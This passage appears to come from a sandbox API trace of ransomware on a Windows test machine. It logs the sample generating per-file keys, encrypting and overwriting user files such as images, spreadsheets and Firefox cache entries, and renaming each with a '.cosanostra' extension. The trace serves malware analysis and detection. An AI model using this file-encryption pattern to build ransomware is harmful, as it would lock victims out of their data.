pbData=0x27c848*, pdwDataLen=0x251efd0*=0x20, dwBufLen=0x30 | out: pbData=0x27c848*, pdwDataLen=0x251efd0*=0x30) returned 1 [0103.609] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Fwi1Gg9e1J38IQ.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\fwi1gg9e1j38iq.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x160 [0103.610] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Fwi1Gg9e1J38IQ.jpg") returned 71 [0103.610] StrStrW (lpFirst="Fwi1Gg9e1J38IQ.jpg", lpSrch=".txt") returned 0x0 [0103.611] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0103.611] WriteFile (in: hFile=0x160, lpBuffer=0x3059f70*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x251ef94, lpOverlapped=0x0 | out: lpBuffer=0x3059f70*, lpNumberOfBytesWritten=0x251ef94*=0x2800, lpOverlapped=0x0) returned 1 [0103.611] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0103.611] WriteFile (in: hFile=0x160, lpBuffer=0x251efd4*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251ef94, lpOverlapped=0x0 | out: lpBuffer=0x251efd4*, lpNumberOfBytesWritten=0x251ef94*=0x4, lpOverlapped=0x0) returned 1 [0103.611] WriteFile (in: hFile=0x160, lpBuffer=0x27c848*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251ef94, lpOverlapped=0x0 | out: lpBuffer=0x27c848*, lpNumberOfBytesWritten=0x251ef94*=0x30, lpOverlapped=0x0) returned 1 [0103.611] CloseHandle (hObject=0x160) returned 1 [0103.612] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Fwi1Gg9e1J38IQ.jpg.cosanostra") returned 82 [0103.612] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Fwi1Gg9e1J38IQ.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\fwi1gg9e1j38iq.jpg"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Fwi1Gg9e1J38IQ.jpg.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\fwi1gg9e1j38iq.jpg.cosanostra")) returned 1 [0103.612] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251efd0 | out: pbBuffer=0x251efd0) returned 1 [0103.613] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c848*, pdwDataLen=0x251efc8*=0x20, dwBufLen=0x30 | out: pbData=0x27c848*, pdwDataLen=0x251efc8*=0x30) returned 1 [0103.613] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\dad uD_LRIv9UXXC.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\dad ud_lriv9uxxc.mkv"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x160 [0103.613] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\dad uD_LRIv9UXXC.mkv") returned 73 [0103.613] StrStrW (lpFirst="dad uD_LRIv9UXXC.mkv", lpSrch=".txt") returned 0x0 [0103.614] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0103.614] WriteFile (in: hFile=0x160, lpBuffer=0x3059f70*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x251ef8c, lpOverlapped=0x0 | out: lpBuffer=0x3059f70*, lpNumberOfBytesWritten=0x251ef8c*=0x2800, lpOverlapped=0x0) returned 1 [0103.614] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0103.614] WriteFile (in: hFile=0x160, lpBuffer=0x251efcc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251ef8c, lpOverlapped=0x0 | out: lpBuffer=0x251efcc*, lpNumberOfBytesWritten=0x251ef8c*=0x4, lpOverlapped=0x0) returned 1 [0103.614] WriteFile (in: hFile=0x160, lpBuffer=0x27c848*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251ef8c, lpOverlapped=0x0 | out: lpBuffer=0x27c848*, lpNumberOfBytesWritten=0x251ef8c*=0x30, lpOverlapped=0x0) returned 1 [0103.614] CloseHandle (hObject=0x160) returned 1 [0103.614] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\dad uD_LRIv9UXXC.mkv.cosanostra") returned 84 [0103.614] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\dad uD_LRIv9UXXC.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\dad ud_lriv9uxxc.mkv"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\dad uD_LRIv9UXXC.mkv.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\dad ud_lriv9uxxc.mkv.cosanostra")) returned 1 [0103.615] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251efd0 | out: pbBuffer=0x251efd0) returned 1 [0103.615] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c848*, pdwDataLen=0x251efc8*=0x20, dwBufLen=0x30 | out: pbData=0x27c848*, pdwDataLen=0x251efc8*=0x30) returned 1 [0103.615] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\cYfPqp98V72kH.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\cyfpqp98v72kh.xlsx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x160 [0103.616] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\cYfPqp98V72kH.xlsx") returned 71 [0103.616] StrStrW (lpFirst="cYfPqp98V72kH.xlsx", lpSrch=".txt") returned 0x0 [0103.616] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0103.617] WriteFile (in: hFile=0x160, lpBuffer=0x3059f70*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x251ef8c, lpOverlapped=0x0 | out: lpBuffer=0x3059f70*, lpNumberOfBytesWritten=0x251ef8c*=0x2800, lpOverlapped=0x0) returned 1 [0103.617] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0103.617] WriteFile (in: hFile=0x160, lpBuffer=0x251efcc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251ef8c, lpOverlapped=0x0 | out: lpBuffer=0x251efcc*, lpNumberOfBytesWritten=0x251ef8c*=0x4, lpOverlapped=0x0) returned 1 [0103.617] WriteFile (in: hFile=0x160, lpBuffer=0x27c848*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251ef8c, lpOverlapped=0x0 | out: lpBuffer=0x27c848*, lpNumberOfBytesWritten=0x251ef8c*=0x30, lpOverlapped=0x0) returned 1 [0103.617] CloseHandle (hObject=0x160) returned 1 [0103.617] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\cYfPqp98V72kH.xlsx.cosanostra") returned 82 [0103.617] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\cYfPqp98V72kH.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\cyfpqp98v72kh.xlsx"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\cYfPqp98V72kH.xlsx.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\cyfpqp98v72kh.xlsx.cosanostra")) returned 1 [0103.619] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251efc8 | out: pbBuffer=0x251efc8) returned 1 [0103.619] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c848*, pdwDataLen=0x251efc0*=0x20, dwBufLen=0x30 | out: pbData=0x27c848*, pdwDataLen=0x251efc0*=0x30) returned 1 [0103.619] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Cookies\\index.dat" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\cookies\\index.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x160 [0103.620] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Cookies\\index.dat") returned 70 [0103.620] StrStrW (lpFirst="index.dat", lpSrch=".txt") returned 0x0 [0103.643] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0103.643] WriteFile (in: hFile=0x160, lpBuffer=0x3059f70*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x251ef84, lpOverlapped=0x0 | out: lpBuffer=0x3059f70*, lpNumberOfBytesWritten=0x251ef84*=0x2800, lpOverlapped=0x0) returned 1 [0103.643] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0103.643] WriteFile (in: hFile=0x160, lpBuffer=0x251efc4*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251ef84, lpOverlapped=0x0 | out: lpBuffer=0x251efc4*, lpNumberOfBytesWritten=0x251ef84*=0x4, lpOverlapped=0x0) returned 1 [0103.643] WriteFile (in: hFile=0x160, lpBuffer=0x27c848*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251ef84, lpOverlapped=0x0 | out: lpBuffer=0x27c848*, lpNumberOfBytesWritten=0x251ef84*=0x30, lpOverlapped=0x0) returned 1 [0103.643] CloseHandle (hObject=0x160) returned 1 [0103.643] wnsprintfW (in: pszDest=0x3023418, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Cookies\\index.dat.cosanostra") returned 81 [0103.643] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Cookies\\index.dat" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\cookies\\index.dat"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Cookies\\index.dat.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\cookies\\index.dat.cosanostra")) returned 1 [0103.663] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251efc0 | out: pbBuffer=0x251efc0) returned 1 [0103.663] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x251efb8*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x251efb8*=0x30) returned 1 [0103.663] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\updates\\E7CF176E110C211B\\active-update.xml" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\updates\\e7cf176e110c211b\\active-update.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0103.664] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\updates\\E7CF176E110C211B\\active-update.xml") returned 98 [0103.664] StrStrW (lpFirst="active-update.xml", lpSrch=".txt") returned 0x0 [0103.750] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xfffffb9c, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0103.750] WriteFile (in: hFile=0x138, lpBuffer=0x305c978*, nNumberOfBytesToWrite=0x464, lpNumberOfBytesWritten=0x251ef7c, lpOverlapped=0x0 | out: lpBuffer=0x305c978*, lpNumberOfBytesWritten=0x251ef7c*=0x464, lpOverlapped=0x0) returned 1 [0103.750] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0103.750] WriteFile (in: hFile=0x138, lpBuffer=0x251efbc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251ef7c, lpOverlapped=0x0 | out: lpBuffer=0x251efbc*, lpNumberOfBytesWritten=0x251ef7c*=0x4, lpOverlapped=0x0) returned 1 [0103.750] WriteFile (in: hFile=0x138, lpBuffer=0x27c8c0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251ef7c, lpOverlapped=0x0 | out: lpBuffer=0x27c8c0*, lpNumberOfBytesWritten=0x251ef7c*=0x30, lpOverlapped=0x0) returned 1 [0103.750] CloseHandle (hObject=0x138) returned 1 [0103.751] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\updates\\E7CF176E110C211B\\active-update.xml.cosanostra") returned 109 [0103.751] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\updates\\E7CF176E110C211B\\active-update.xml" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\updates\\e7cf176e110c211b\\active-update.xml"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\updates\\E7CF176E110C211B\\active-update.xml.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\updates\\e7cf176e110c211b\\active-update.xml.cosanostra")) returned 1 [0103.754] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251efb0 | out: pbBuffer=0x251efb0) returned 1 [0103.754] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x251efa8*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x251efa8*=0x30) returned 1 [0103.754] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\F\\F0\\ECB2Dd01" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\cache\\f\\f0\\ecb2dd01"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0103.755] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\F\\F0\\ECB2Dd01") returned 109 [0103.755] StrStrW (lpFirst="ECB2Dd01", lpSrch=".txt") returned 0x0 [0103.874] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0103.874] WriteFile (in: hFile=0x138, lpBuffer=0x305c978*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x251ef6c, lpOverlapped=0x0 | out: lpBuffer=0x305c978*, lpNumberOfBytesWritten=0x251ef6c*=0x2800, lpOverlapped=0x0) returned 1 [0103.874] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0103.874] WriteFile (in: hFile=0x138, lpBuffer=0x251efac*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251ef6c, lpOverlapped=0x0 | out: lpBuffer=0x251efac*, lpNumberOfBytesWritten=0x251ef6c*=0x4, lpOverlapped=0x0) returned 1 [0103.886] WriteFile (in: hFile=0x138, lpBuffer=0x27c8c0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251ef6c, lpOverlapped=0x0 | out: lpBuffer=0x27c8c0*, lpNumberOfBytesWritten=0x251ef6c*=0x30, lpOverlapped=0x0) returned 1 [0103.886] CloseHandle (hObject=0x138) returned 1 [0103.886] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\F\\F0\\ECB2Dd01.cosanostra") returned 120 [0103.886] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\F\\F0\\ECB2Dd01" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\cache\\f\\f0\\ecb2dd01"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\F\\F0\\ECB2Dd01.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\cache\\f\\f0\\ecb2dd01.cosanostra")) returned 1 [0103.890] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251efa8 | out: pbBuffer=0x251efa8) returned 1 [0103.890] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x251efa0*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x251efa0*=0x30) returned 1 [0103.890] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\D\\08\\71469d01" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\cache\\d\\08\\71469d01"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0103.891] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\D\\08\\71469d01") returned 109 [0103.891] StrStrW (lpFirst="71469d01", lpSrch=".txt") returned 0x0 [0103.901] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0103.902] WriteFile (in: hFile=0x138, lpBuffer=0x305c978*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x251ef64, lpOverlapped=0x0 | out: lpBuffer=0x305c978*, lpNumberOfBytesWritten=0x251ef64*=0x2800, lpOverlapped=0x0) returned 1 [0103.902] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0103.902] WriteFile (in: hFile=0x138, lpBuffer=0x251efa4*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251ef64, lpOverlapped=0x0 | out: lpBuffer=0x251efa4*, lpNumberOfBytesWritten=0x251ef64*=0x4, lpOverlapped=0x0) returned 1 [0103.902] WriteFile (in: hFile=0x138, lpBuffer=0x27c8c0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251ef64, lpOverlapped=0x0 | out: lpBuffer=0x27c8c0*, lpNumberOfBytesWritten=0x251ef64*=0x30, lpOverlapped=0x0) returned 1 [0103.902] CloseHandle (hObject=0x138) returned 1 [0103.902] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\D\\08\\71469d01.cosanostra") returned 120 [0103.903] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\D\\08\\71469d01" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\cache\\d\\08\\71469d01"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\D\\08\\71469d01.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\cache\\d\\08\\71469d01.cosanostra")) returned 1 [0103.909] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251ef90 | out: pbBuffer=0x251ef90) returned 1 [0103.909] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x251ef88*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x251ef88*=0x30) returned 1 [0103.909] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\9\\E0\\F17B2d01" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\cache\\9\\e0\\f17b2d01"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0103.910] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\9\\E0\\F17B2d01") returned 109 [0103.910] StrStrW (lpFirst="F17B2d01", lpSrch=".txt") returned 0x0 [0103.924] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0103.924] WriteFile (in: hFile=0x138, lpBuffer=0x305c978*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x251ef4c, lpOverlapped=0x0 | out: lpBuffer=0x305c978*, lpNumberOfBytesWritten=0x251ef4c*=0x2800, lpOverlapped=0x0) returned 1 [0103.945] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0103.945] WriteFile (in: hFile=0x138, lpBuffer=0x251ef8c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251ef4c, lpOverlapped=0x0 | out: lpBuffer=0x251ef8c*, lpNumberOfBytesWritten=0x251ef4c*=0x4, lpOverlapped=0x0) returned 1 [0103.945] WriteFile (in: hFile=0x138, lpBuffer=0x27c8c0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251ef4c, lpOverlapped=0x0 | out: lpBuffer=0x27c8c0*, lpNumberOfBytesWritten=0x251ef4c*=0x30, lpOverlapped=0x0) returned 1 [0103.945] CloseHandle (hObject=0x138) returned 1 [0103.946] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\9\\E0\\F17B2d01.cosanostra") returned 120 [0103.946] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\9\\E0\\F17B2d01" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\cache\\9\\e0\\f17b2d01"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\9\\E0\\F17B2d01.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\cache\\9\\e0\\f17b2d01.cosanostra")) returned 1 [0103.948] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251ef88 | out: pbBuffer=0x251ef88) returned 1 [0103.948] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x251ef80*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x251ef80*=0x30) returned 1 [0103.949] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\9\\61\\28E95d01" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\cache\\9\\61\\28e95d01"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0103.949] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\9\\61\\28E95d01") returned 109 [0103.949] StrStrW (lpFirst="28E95d01", lpSrch=".txt") returned 0x0 [0103.955] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0103.956] WriteFile (in: hFile=0x138, lpBuffer=0x305c978*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x251ef44, lpOverlapped=0x0 | out: lpBuffer=0x305c978*, lpNumberOfBytesWritten=0x251ef44*=0x2800, lpOverlapped=0x0) returned 1 [0103.956] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0103.956] WriteFile (in: hFile=0x138, lpBuffer=0x251ef84*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251ef44, lpOverlapped=0x0 | out: lpBuffer=0x251ef84*, lpNumberOfBytesWritten=0x251ef44*=0x4, lpOverlapped=0x0) 